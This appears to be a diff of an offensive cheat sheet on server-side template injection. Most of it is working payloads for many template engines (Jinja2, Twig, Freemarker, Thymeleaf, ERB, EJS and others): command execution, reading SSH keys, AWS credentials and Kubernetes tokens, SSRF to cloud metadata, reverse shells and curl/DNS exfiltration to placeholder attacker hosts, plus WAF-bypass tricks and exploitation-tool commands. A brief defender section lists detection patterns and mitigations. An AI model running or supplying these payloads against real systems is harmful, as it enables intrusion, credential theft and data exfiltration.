+{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0]}}
-# Step 4: RCE via subprocess.Popen
-{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0] }}
+# Via self.__init__.__globals__
+{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
-# Alternative: reach os module through __globals__
-{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
+# Via request.application (Flask)
+{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
-# Alternative: through cycler (works in strict sandboxes)
-{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
+# Via config object
+{{config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('id').read()}}
-# Alternative: through config object (Flask)
-{{ config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('id').read() }}
+# Via cycler (bypasses some sandboxes)
+{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
-# File read without RCE
-{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
+# Via lipsum / namespace / joiner globals
+{{lipsum.__globals__.os.popen('id').read()}}
+{{namespace.__init__.__globals__.os.popen('id').read()}}
+
+# Via warnings module search
+{% for x in ().__class__.__base__.__subclasses__() %}
+ {% if "warning" in x.__name__ %}
+ {{x()._module.__builtins__['__import__']('os').popen('id').read()}}
+ {% endif %}
+{% endfor %}
```
-### Twig (PHP) - _self.env and Filter Abuse
+### 2.3 File Ops and Info Disclosure
-Twig 1.x exposed `_self.env` which gave access to the Environment object and its
-methods. Twig 2.x+ removed direct access, but filter-based exploitation remains
-viable when unsafe extensions are loaded.
+```python
+{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} # Read file
+{{''.__class__.__mro__[1].__subclasses__()[40]('/tmp/x','w').write('y')}} # Write file
+{{config}} # Flask config
+{{config['SQLALCHEMY_DATABASE_URI']}} # DB URI
+{{request.environ}} # WSGI env
+```
-```php
-# Twig 1.x - _self.env access (deprecated but still found in legacy apps)
-{{_self.env.registerUndefinedFilterCallback("exec")}}
-{{_self.env.getFilter("id")}}
+---
-# Twig 2.x/3.x - filter-based execution (requires 'system' or similar in allowed filters)
-{{'id'|filter('system')}}
-{{'cat /etc/passwd'|filter('exec')}}
+## 3. Twig / PHP
-# Twig - information disclosure
-{{app.request.server.all|join(',')}}
-{{app.request.cookies.all|join(',')}}
-{{'/'|file_excerpt(1,30)}}
+### 3.1 Legacy (Twig 1.x) -- _self.env
-# Twig - reading files via the source function (if available)
-{{'/etc/passwd'|file_excerpt(1,100)}}
+```php
+{{_self.env.registerUndefinedFilterCallback("system")}}
+{{_self.env.getFilter("id")}}
+```
-# Twig 3.x - map filter for RCE
-{{'id'|filter('passthru')}}
-{{['id']|map('system')|join}}
-{{['cat /etc/passwd']|map('passthru')}}
+### 3.2 Modern (Twig 2.x/3.x) -- Filter Callbacks
-# Twig - using sort filter with a callback
-{{['id',0]|sort('system')|join}}
+```php
+{{'id'|filter('system')}} # filter() with system
+{{'id'|filter('passthru')}} # filter() with passthru
+{{['id']|map('system')|join}} # map() callback
+{{['id',0]|sort('system')|join}} # sort() callback
+{{[0,'id']|reduce('system')}} # reduce() callback
```
-### Freemarker (Java) - Execute Class
+### 3.3 Info Disclosure
-Freemarker provides the `freemarker.template.utility.Execute` class which directly
-executes system commands when instantiated via the `?new()` built-in.
+```php
+{{app.request.server.all|join(',')}} # Symfony server vars
+{{dump(app)}} # Full app dump
+{{'/etc/passwd'|file_excerpt(1,100)}} # File read (debug mode)
+{{'/etc/passwd'|file_get_contents}} # If exposed as filter
+```
-```java
-// Direct RCE via Execute class
-<#assign cmd = "freemarker.template.utility.Execute"?new()>
-${cmd("id")}
-${cmd("cat /etc/passwd")}
+---
-// Alternative one-liner
-${"freemarker.template.utility.Execute"?new()("id")}
+## 4. Java Template Engines
-// ObjectConstructor for arbitrary class instantiation
-<#assign classloader=object?new("java.lang.ProcessBuilder", ["id"])>
-${classloader.start()}
+### 4.1 Freemarker -- Execute and ObjectConstructor
-// File read via TemplateModel
-${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
+RCE via the Execute class -- use `<#assign>` to instantiate it, then reference
+it in a dollar-curly expression with the command string as argument:
-// Environment variable disclosure
-${.data_model}
-${.globals}
+```http
+GET /page?input=%3C%23assign+cmd%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bcmd(%22id%22)%7D HTTP/1.1
+Host: target.example.com
```
-### Velocity (Java) - Runtime.exec
+ObjectConstructor for ProcessBuilder:
-Velocity templates access Java objects directly. Use the `$class` variable or
-reflection to reach `java.lang.Runtime`.
+```html
+<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
+<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
+<#assign proc = pb.start()>
+```
+
+### 4.2 Velocity -- Runtime.exec
```java
-// Classic RCE via Runtime.exec
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
-#set($reader = $class.inspect("java.io.BufferedReader").type)
-#set($isr = $class.inspect("java.io.InputStreamReader").type)
-#set($input = $reader.getDeclaredConstructor($isr).newInstance($process.getInputStream()))
-#foreach($i in [1..100])
- #set($line = $input.readLine())
- #if($line) $line #end
-#end
-
-// Shorter alternative
-#set($x=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
-$x.waitFor()
-#set($s=$class.inspect("java.util.Scanner").type)
-#set($sc=$s.getDeclaredConstructor($x.getInputStream().getClass()).newInstance($x.getInputStream()))
+#set($s = $class.inspect("java.util.Scanner").type)
+#set($sc = $s.getDeclaredConstructor($process.getInputStream().getClass()).newInstance($process.getInputStream()))
$sc.useDelimiter("\\A").next()
```
-### Pebble (Java) - java.lang.Runtime
-
-Pebble is a Java template engine inspired by Twig. It exposes Java objects through
-template expressions.
+### 4.3 Pebble -- Reflection Chain
```java
-// RCE via beans and Runtime
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes, 0, bytes.length) }}
-
-// Alternative via ProcessBuilder
-{% set pb = (1).TYPE.forName('java.lang.ProcessBuilder') %}
-{% set process = pb.getDeclaredConstructors()[0].newInstance([['id']]) %}
-{{ process.start().inputStream.readAllBytes() }}
```
-### Smarty (PHP) - literal Tag and Static Methods
-
-Smarty allows PHP code execution through several vectors depending on version and
-configuration.
-
-```php
-// Smarty 3.x - {php} tags (if enabled, disabled by default in 3.1+)
-{php}echo shell_exec('id');{/php}
-
-// Smarty - static method calls
-{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
-
-// Smarty - {literal} tag abuse for JavaScript injection leading to SSJI
-{literal}<script>document.location='http://attacker.com/?c='+document.cookie</script>{/literal}
+### 4.4 Thymeleaf -- SpEL via Preprocessing
-// Smarty - math function abuse
-{math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}
+Thymeleaf preprocessing evaluates double-underscore-wrapped expressions before
+template resolution. Inject into path variables or parameters:
-// Smarty - information disclosure
-{$smarty.version}
-{$smarty.template}
-{$smarty.config}
+```http
+GET /page/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x HTTP/1.1
+Host: target.example.com
```
-### Mako (Python) - Module-Level Imports
-
-Mako templates have direct access to Python's module system through the `self.module`
-namespace, making RCE straightforward.
-
-```python
-# Direct os module access
-${self.module.cache.util.os.popen('id').read()}
-
-# Alternative via __import__
-<% import os %>${os.popen('id').read()}
-
-# Using the module namespace
-${self.module.os.popen('id').read()}
+File read:
-# File read
-<% f = open('/etc/passwd').read() %>${f}
-
-# Reverse shell
-<% import socket,subprocess,os; s=socket.socket(); s.connect(("ATTACKER",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"]) %>
+```http
+GET /page/__${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}__::.x HTTP/1.1
+Host: target.example.com
```
-### ERB (Ruby) - system and exec
+SpEL keyword bypass via Character references:
+`T(Character).toString(105).concat(T(Character).toString(100))` produces `id`.
-ERB (Embedded Ruby) templates execute Ruby code directly within `<%= %>` tags.
+Spring bean access: `@environment.getProperty('spring.datasource.password')`.
-```ruby
-# Command execution
-<%= system("id") %>
-<%= `id` %>
-<%= exec("id") %>
-<%= IO.popen("id").read() %>
+---
-# File read
-<%= File.open('/etc/passwd').read() %>
-<%= Dir.entries('/') %>
+## 5. Other Engines
-# Reverse shell
-<%= require 'socket'; TCPSocket.open('ATTACKER',4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
+### 5.1 Smarty (PHP)
-# Environment variables
-<%= ENV.to_a.map{|k,v| "#{k}=#{v}"}.join("\n") %>
+```php
+{$smarty.version} # Version disclosure
+{php}echo shell_exec('id');{/php} # If {php} tags enabled (legacy)
+{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
+{math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}
```
-### Thymeleaf (Java/Spring) - SpEL Expression Injection
+### 5.2 Mako (Python)
-Thymeleaf in Spring Boot applications evaluates Spring Expression Language (SpEL).
-When user input reaches a Thymeleaf template path or expression, you get code execution
-through SpEL.
-
-```java
-// SpEL RCE via T() operator (type reference)
-${T(java.lang.Runtime).getRuntime().exec('id')}
+Mako compiles to Python modules with full runtime access. Block-style:
-// SpEL with output capture
-${T(org.apache.commons.io.IOUtils).toString(
- T(java.lang.Runtime).getRuntime().exec('id').getInputStream()
-)}
+```python
+<% import os; result = os.popen('id').read() %>
+```
-// URL-based injection in Spring Boot (path variable interpreted as template)
-// GET /path;/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
+Then output the variable in a dollar-curly expression. URL-encoded single-line:
-// Thymeleaf preprocessor expressions
-__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
+```http
+GET /page?name=%24%7Bself.module.cache.util.os.popen('id').read()%7D HTTP/1.1
+Host: target.example.com
+```
-// File read via SpEL
-${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}
+### 5.3 ERB (Ruby)
-// Environment disclosure
-${@environment.getProperty('spring.datasource.password')}
+```ruby
+<%= system("id") %> # Command exec
+<%= `id` %> # Backtick exec
+<%= File.open('/etc/passwd').read() %> # File read
+<%= Rails.application.credentials.secret_key_base %> # Rails secrets
+<%= require 'socket'; f=TCPSocket.open("ATTACKER",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
```
-### Handlebars (Node.js) - Prototype Pollution to RCE
+### 5.4 Handlebars (Node.js)
-Handlebars is logic-less by design, but prototype pollution or unsafe helpers create
-RCE paths.
+Logic-less by design; RCE requires prototype pollution or unsafe helpers:
```javascript
-// Prototype pollution to RCE (requires a pollution gadget)
{{#with "s" as |string|}}
{{#with "e"}}{{#with split as |conslist|}}
{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
@@ -375,266 +303,317 @@ RCE paths.
{{/with}}
{{/with}}{{/with}}
{{/with}}
+```
+
+### 5.5 EJS (Node.js)
-// Via unsafe custom helpers: {{execute "id"}}
-// Info disclosure: {{this}}, {{@root}}
+```javascript
+<%= global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>
```
----
+Prototype pollution via `outputFunctionName`:
-## Filter Bypass and WAF Evasion
+```http
+POST /render HTTP/1.1
+Content-Type: application/json
-### Character Restriction Bypass (Jinja2)
+{"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}
+```
-When characters like `.`, `_`, `[`, or `'` are filtered, use alternative access methods.
+### 5.6 Pug / Nunjucks (Node.js)
-```python
-# Dot (.) blocked - use attr() filter or bracket notation
-{{ request|attr('application') }}
-{{ request['application'] }}
+Pug:
+
+```javascript
+- var x = global.process.mainModule.require('child_process').execSync('id').toString()
+p= x
+```
+
+Nunjucks:
+
+```javascript
+{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}
+```
-# Underscore (_) blocked - use hex encoding
-{{ ''|attr('\x5f\x5fclass\x5f\x5f') }}
-# Or pass via request parameter: ?a=__class__
-{{ ''|attr(request.args.a) }}
+---
-# Quotes blocked - use request parameters to inject strings
-# URL: ?cmd=id&module=os
-{{ self.__init__.__globals__.__builtins__.__import__(request.args.module).popen(request.args.cmd).read() }}
+## 6. Filter and WAF Bypass
-# Brackets blocked - use attr() chains
-{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')() }}
+### 6.1 Character Restriction Bypass (Jinja2)
-# Multiple restrictions - combine techniques
-# Pass components via URL parameters and assemble at runtime
-# URL: ?c=__class__&m=__mro__&s=__subclasses__
-{{ ()|attr(request.args.c)|attr(request.args.m)|last|attr(request.args.s)() }}
+```python
+# Dot blocked -- use |attr() or brackets
+{{request|attr('application')}}
+{{request['application']}}
+
+# Underscore blocked -- hex encode (\x5f = _)
+{{''['\x5f\x5fclass\x5f\x5f']}}
+# Or pass via request param: ?a=__class__
+{{''|attr(request.args.a)}}
+
+# Brackets/quotes blocked -- chain |attr() with request.args
+# URL: ?a=__class__&b=__mro__&c=__subclasses__
+{{()|attr(request.args.a)|attr(request.args.b)|last|attr(request.args.c)()}}
```
-### String Concatenation Evasion
+### 6.2 String Construction
```python
-# Jinja2 - concatenate blocked keywords
-{{ ''['__cla'+'ss__'] }}
-{{ ''|attr('__cla'~'ss__') }} # Tilde is Jinja2 concat operator
-{{ ''|attr(['__cla','ss__']|join) }}
+# Tilde concatenation
+{{''|attr('__cla'~'ss__')}}
+
+# Join filter
+{{''|attr(['__cla','ss__']|join)}}
-# Jinja2 - build strings from chr() via request
+# Plus in brackets
+{{''['__cla'+'ss__']}}
+
+# chr() construction
{% set chr = ''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr %}
-{{ ''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)] }}
+{{''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}
-# Twig - concatenate
-{{ ('sys'~'tem')('id') }}
+# Twig tilde
+{{('sys'~'tem')('id')}}
```
-### Encoding-Based Bypass
+### 6.3 Attribute Access Alternatives
```python
-# Hex encoding for attribute names (Jinja2)
-{{ request['\x5f\x5fclass\x5f\x5f'] }}
-{{ request|attr('\x5f\x5fclass\x5f\x5f') }}
-
-# Unicode encoding
-{{ request|attr('__class__') }}
-
-# Octal encoding
-{{ request|attr('\137\137class\137\137') }}
+{{obj|attr('__class__')}} # |attr() filter
+{{obj.__getattribute__('__class__')}} # __getattribute__
+{{obj['__class__']}} # bracket notation
+{{obj|attr('__getitem__')('key')}} # |attr() + __getitem__
+```
-# Base64 in Mako
-<% import base64; exec(base64.b64decode('aW1wb3J0IG9zOyBwcmludChvcy5wb3BlbignaWQnKS5yZWFkKCkp')) %>
+### 6.4 Encoding and Smuggling
-# URL encoding for WAF bypass (double-encode if WAF decodes once)
-%7B%7B7*7%7D%7D
-%257B%257B7*7%257D%257D # double-encoded
+```python
+# Hex/octal encoding
+{{request['\x5f\x5fclass\x5f\x5f']}}
+{{request|attr('\137\137class\137\137')}}
+
+# Request parameter smuggling
+# URL: ?c=__class__
+{{request|attr(request.args.c)}}
+# URL: ?f=%s%sclass%s%s&a=_
+{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}
+# URL: ?l=a&a=_&a=_&a=class&a=_&a=_
+{{request|attr(request.args.getlist(request.args.l)|join)}}
```
-### WAF-Specific Bypass Techniques
+### 6.5 WAF Evasion Techniques
```text
-# Technique: Break tokens across parameters
-# Some WAFs scan individual parameters but not their combination
-?a={{&b=7*7&c=}}
-
-# Technique: Use HTTP parameter pollution
-?name={{7*7}}&name=safe_value # Some backends take the first, WAF checks the last
+Parameter splitting: ?a={{&b=7*7&c=}}
+HTTP Param Pollution: ?name={{7*7}}&name=safe (backend takes first, WAF last)
+Content-Type confusion: Submit as application/json when WAF inspects form-urlencoded
+Double URL encoding: %257B%257B7*7%257D%257D
+Whitespace injection: {{ 7 * 7 }}, {%- if 1 -%}49{%- endif -%}
+Newline injection: {{\n7*7\n}} (WAFs may not match cross-line patterns)
+```
-# Technique: Content-Type confusion
-# Submit as application/json or multipart/form-data if the WAF only inspects
-# application/x-www-form-urlencoded
+### 6.6 Engine-Specific Bypass
-# Technique: Case variation (engine-dependent)
-# Some engines are case-insensitive for built-in names
-{{Config}} # May work if WAF blocks lowercase {{config}}
+Freemarker -- when `?new()` is restricted, use ObjectConstructor:
-# Technique: Whitespace and comment injection
-{{ 7 * 7 }} # Extra spaces
-{%- if 1 -%}49{%- endif -%} # Jinja2 whitespace control
-{{7 *- 7}} # Unusual operator spacing
+```html
+<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
+<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
```
----
+Thymeleaf -- build strings from `T(Character).toString()` calls to avoid keyword filters.
-## Modern Framework Exploitation
+---
-Framework-specific notes supplement the engine-specific payloads above.
+## 7. Blind Exploitation
-```text
-FRAMEWORK ENGINE NOTES
-------------------------------------------------------------------------
-Flask (Python) Jinja2 Check for Werkzeug debugger at /__debugger__
- Secrets: {{config.SECRET_KEY}}, {{config['SQLALCHEMY_DATABASE_URI']}}
+### 7.1 Time-Based
-Django (Python) Django DTL Limited by design: no arbitrary code exec
- Info disclosure: {%debug%}, {{request.META}}
+```python
+{{range(99999999)|join}} # Jinja2: CPU-intensive delay
-Spring Boot (Java) Thymeleaf/SpEL Path-based SSTI: /path/__${PAYLOAD}__::.x
- Bean access: ${@environment.getProperty('spring.datasource.url')}
- SpEL bypass: ${T(Character).toString(105).concat(T(Character).toString(100))}
+{% for x in ().__class__.__base__.__subclasses__() %}
+ {% if "warning" in x.__name__ %}
+ {{x()._module.__builtins__['__import__']('time').sleep(5)}}
+ {% endif %}
+{% endfor %} # Jinja2: explicit sleep
+```
-Express (Node.js) EJS/Pug EJS: <%=this.constructor.constructor('return process...')()%>
- Pug: - var x = global.process.mainModule.require(...)
- Nunjucks: {{range.constructor("return ...")()}}
+```php
+{{['sleep 5']|map('system')}} # Twig
+```
-Rails (Ruby) ERB Direct exec: <%=system('CMD')%> or <%=`CMD`%>
- Secrets: <%=Rails.application.credentials.secret_key_base%>
+```ruby
+<%= sleep(5) %> # ERB
```
----
+Freemarker: assign Execute, invoke with `"sleep 5"`. Thymeleaf: dollar-curly
+with `T(java.lang.Thread).sleep(5000)` in preprocessing wrapper.
-## Chaining SSTI to Higher Impact
+### 7.2 OOB DNS Callbacks
-SSTI chains to SSRF, file read, and full RCE depending on the engine and available
-classes. Use these cross-engine patterns.
+```python
+# Jinja2 -- confirm execution
+{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://UNIQUE.oastify.com').read()}}
-```text
-CHAIN JINJA2 TWIG FREEMARKER THYMELEAF/SpEL
----------------------------------------------------------------------------------------------------------------------------------------
-SSRF MRO->urllib subclass-> file_excerpt('/proc/net/ <#include "http:// T(java.net.URI).create(
- .read('http://169.254...') tcp',1,100) 169.254..."> 'http://169.254...').toURL()
+# Jinja2 -- exfiltrate data in subdomain
+{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup $(whoami).UNIQUE.oastify.com').read()}}
+```
-File Read MRO->file subclass[40]-> '/etc/passwd'| <#include "/etc/passwd"> T(java.nio.file.Files)
- .read('/etc/passwd') file_excerpt(1,100) .readAllLines(...)
+```php
+{{['curl http://UNIQUE.oastify.com']|map('system')}} # Twig
+```
+
+```ruby
+<%= `nslookup #{`whoami`.chomp}.UNIQUE.oastify.com` %> # ERB
+```
+
+### 7.3 Error and Boolean Inference
+
+```python
+{{config.__class__.__name__ + 1}} # Type error leaks data in error page
+{{1/0}} # Division by zero with engine info
-RCE->RevShell __import__('os').popen( ['bash -c ...']| Execute?new()("bash -c T(Runtime).getRuntime()
- 'bash -c "bash -i >& ...") map('system') {echo,BASE64}|...") .exec(new String[]{...})
+# Boolean blind -- extract character by character
+{% if ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()[0] == 'r' %}TRUE{% endif %}
```
---
-## Automated Exploitation with tplmap
+## 8. Chained Exploitation
-```bash
-# tplmap - detect and exploit across engines
-python tplmap.py -u 'http://target.com/page?name=test' # basic scan
-python tplmap.py -u 'http://target.com/page' -d 'name=test' # POST data
-python tplmap.py -u 'http://target.com/page?name=test' -e jinja2 # force engine
-python tplmap.py -u 'http://target.com/page?name=test' --os-cmd 'id'
-python tplmap.py -u 'http://target.com/page?name=test' --os-shell
-python tplmap.py -u 'http://target.com/page?name=test' --download /etc/passwd ./out
+### 8.1 SSTI to SSRF
-# SSTImap (maintained fork)
-python3 sstimap.py -u 'http://target.com/page?name=test' -s # scan
-python3 sstimap.py -u 'http://target.com/page?name=test' -S # interactive shell
+```python
+# Cloud metadata
+{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}
-# TInjA (template injection analyzer)
-tinja url -u 'http://target.com/page?name=test'
+# Internal service access
+{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://internal-api:8080/admin').read()}}
```
----
+### 8.2 SSTI to File Read
-## Detection / Defender View
+```python
+{{''.__class__.__mro__[1].__subclasses__()[40]('app.py').read()}} # Source code
+{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/config/database.yml').read()}} # DB creds
+{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.ssh/id_rsa').read()}} # SSH keys
+{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.aws/credentials').read()}} # AWS creds
+{{''.__class__.__mro__[1].__subclasses__()[40]('/var/run/secrets/kubernetes.io/serviceaccount/token').read()}} # K8s token
+{{''.__class__.__mro__[1].__subclasses__()[40]('/proc/self/environ').read()}} # Process env
+```
-Defenders can detect and prevent SSTI at multiple layers.
-
-**Code-level prevention:**
-- Never concatenate user input into template strings. Always pass data as template variables.
-- Block dangerous APIs at the linter level: `render_template_string`, `Template()` with user input, `compile` with user input.
-- Use semgrep or CodeQL SSTI rule packs in CI pipelines to catch unsafe patterns before deployment.
-
-**Runtime detection signals:**
-- Template error messages in HTTP responses (stack traces mentioning Jinja2, Twig, Freemarker).
-- Requests containing template metacharacters: `{{`, `${`, `<%`, `{%`, `#{`, `*{`.
-- Requests with MRO traversal patterns: `__class__`, `__mro__`, `__subclasses__`, `__globals__`, `__builtins__`.
-- Requests with Java reflection patterns: `getRuntime`, `exec(`, `ProcessBuilder`, `forName`.
-- DNS queries to unexpected external domains from application servers (OOB exfiltration).
-- Unusual process spawning from web server processes (shell, python, curl).
-
-**WAF rules:**
-- Block or alert on `__class__`, `__mro__`, `__subclasses__`, `__globals__`, `__import__` in request parameters.
-- Block `T(java.lang.Runtime)`, `getRuntime()`, `ProcessBuilder` in request parameters.
-- Block `{%`, `{{`, `${`, `<%=` in contexts where template syntax is not expected.
-- Beware of bypass via encoding; decode before inspection.
-
-**Sandboxing:**
-- Enable template engine sandboxing where available (Jinja2 SandboxedEnvironment, Freemarker template security manager).
-- Run application processes with minimal OS privileges and seccomp/AppArmor profiles.
-- Use `html/template` over `text/template` in Go applications.
-- Disable `{php}` tags in Smarty; disable debug compilation in EJS; restrict SpEL in Thymeleaf.
+### 8.3 SSTI to Reverse Shell
----
+Jinja2:
+```python
+{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}
+```
-## Engagement Cheatsheet
+Freemarker: assign Execute, invoke with
+`bash -c {echo,BASE64_REVSHELL}|{base64,-d}|{bash,-i}`.
-```text
-ENGINE DETECT INFO DISCLOSURE RCE PAYLOAD
-------------------------------------------------------------------------------------------
-Jinja2 {{7*'7'}}=7777777 {{config}} {{self.__init__.__globals__.__builtins__
- .__import__('os').popen('CMD').read()}}
+ERB:
+```ruby
+<%= require 'socket'; f=TCPSocket.open("ATTACKER_IP",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
+```
-Twig 1.x {{7*7}}=49 {{_self.env}} {{_self.env.registerUndefinedFilterCallback
- ("exec")}}{{_self.env.getFilter("CMD")}}
+### 8.4 SSTI to Privesc Enumeration
-Twig 3.x {{7*7}}=49 {{app.request.server}} {{['CMD']|map('system')}}
+```python
+{{self.__init__.__globals__.__builtins__.__import__('os').popen('id && groups').read()}}
+{{self.__init__.__globals__.__builtins__.__import__('os').popen('sudo -l 2>&1').read()}}
+{{self.__init__.__globals__.__builtins__.__import__('os').popen('find / -perm -4000 -type f 2>/dev/null').read()}}
+{{self.__init__.__globals__.__builtins__.__import__('os').popen('uname -a').read()}}
+```
-Freemarker ${7*7}=49 ${.data_model} ${"freemarker.template.utility.Execute"
- ?new()("CMD")}
+### 8.5 SSTI to Data Exfiltration
-Velocity $class.type #set($x=$class.inspect #set($rt=$class.inspect("java.lang
- ("java.lang.System")) .Runtime").type.getRuntime().exec("CMD"))
+```python
+# Chunked DNS exfil
+{{self.__init__.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd | base64 -w0 | cut -c1-60 | xargs -I{} nslookup {}.UNIQUE.oastify.com').read()}}
-Pebble {{7*7}}=49 {{beans}} See beans/Runtime chain above
+# HTTP POST exfil
+{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl -X POST -d @/etc/passwd http://ATTACKER/exfil').read()}}
+```
-Smarty {$smarty.version} {$smarty.template} {system('CMD')} or math equation abuse
+---
-Mako ${7*7}=49 ${self.module.__name__} ${self.module.cache.util.os
- .popen('CMD').read()}
+## Detection / Defender View
-ERB <%=7*7%>=49 <%=ENV%> <%=system('CMD')%>
+**Indicators of Attack:**
+- Template delimiters in input: `{{`, `{%`, `<%`, `#{`, `#set(`, `<#assign`.
+- MRO strings: `__class__`, `__mro__`, `__subclasses__`, `__globals__`, `__builtins__`.
+- Java reflection: `getRuntime`, `ProcessBuilder`, `forName`, `T(java.lang`.
+- Template errors in responses from user-triggered requests.
+
+**Indicators of Compromise:**
+- Unexpected child processes from web workers (`sh`, `bash`, `curl`, `nslookup`).
+- New files in `/tmp` or web root created by the app process.
+- Outbound connections to callback services or unfamiliar IPs.
+- Cloud metadata access from containers that should not query 169.254.169.254.
+
+**Prevention:**
+- Never concatenate user input into template strings -- use template variables.
+- Block dangerous APIs in CI: `render_template_string()`, `Template()` with
+ user input, `Environment.from_string()`.
+- Enable sandboxing: Jinja2 `SandboxedEnvironment`, Freemarker `SAFER_RESOLVER`.
+- Restrict Twig filters/functions to a safe allowlist.
+- Disable `{php}` in Smarty, `compileDebug` in EJS, SpEL preprocessing in Thymeleaf.
+- Run apps with minimal privileges, seccomp/AppArmor, read-only root filesystems.
+- WAF rules as defense-in-depth (see section 6 for bypass techniques).
+- Track CVEs: CVE-2024-22195 (Jinja2 xmlattr bypass), CVE-2024-46507 (Yeti RCE).
-Thymeleaf ${T(Math).PI}=3.14... ${@environment} ${T(java.lang.Runtime).getRuntime()
- .exec('CMD')}
+---
-Handlebars {{this}}=object dump {{@root}} Requires proto pollution or unsafe helpers
+## Engagement Cheatsheet
-EJS <%=7*7%>=49 <%=process.env%> <%=global.process.mainModule.require(
- 'child_process').execSync('CMD')%>
+| Phase | Action | Tool / Technique |
+|----------------|-------------------------------------------|------------------------------------|
+| Recon | Map input reflection points | Burp Suite, waybackurls, qsreplace |
+| Detection | Inject polyglot and arithmetic probes | ffuf, Burp Intruder, manual |
+| Fingerprinting | Identify engine via decision tree/errors | Error signatures, variable probes |
+| Validation | Confirm server-side execution | Timing, source inspection |
+| Exploitation | Apply engine-specific RCE chain | tplmap, SSTImap, TInjA, manual |
+| Bypass | Evade WAF/filters | Section 6 techniques |
+| Blind | OOB, time-based, error-based methods | Burp Collaborator, interactsh |
+| Escalation | Chain to file read, SSRF, shell, privesc | Section 8 chains |
+| Proof | Non-destructive PoC with unique marker | DNS callback, unique file |
-Nunjucks {{7*7}}=49 {{range.constructor}} {{range.constructor("return global.process
- .mainModule.require('child_process')
- .execSync('CMD')")()}}
-```
+### Tool Quick Reference
-```text
-BYPASS QUICK REFERENCE
- Dot blocked: |attr('name') or ['name']
- Underscore blocked: \x5f (hex) or request.args
- Quotes blocked: request.args.param or chr() construction
- Brackets blocked: |attr() chains with |attr('__getitem__')
- Keywords blocked: string concatenation ('o'+'s') or ~ operator
- WAF blocking {{: double-encode %257B%257B or HPP
- Blind context: time delay, OOB DNS, error-based inference
+```bash
+# tplmap
+python tplmap.py -u 'http://target.example.com/page?name=test' # Basic scan
+python tplmap.py -u 'http://target.example.com/page?name=test' -e jinja2 # Force engine
+python tplmap.py -u 'http://target.example.com/page' -d 'name=test' # POST injection
+python tplmap.py -u 'http://target.example.com/page?name=test' --os-cmd id # Execute command
+python tplmap.py -u 'http://target.example.com/page?name=test' --os-shell # Interactive shell
+
+# SSTImap
+python3 sstimap.py -u 'https://target.example.com/page?name=test' # Auto-detect
+python3 sstimap.py -u 'https://target.example.com/page?name=test' -S # Shell
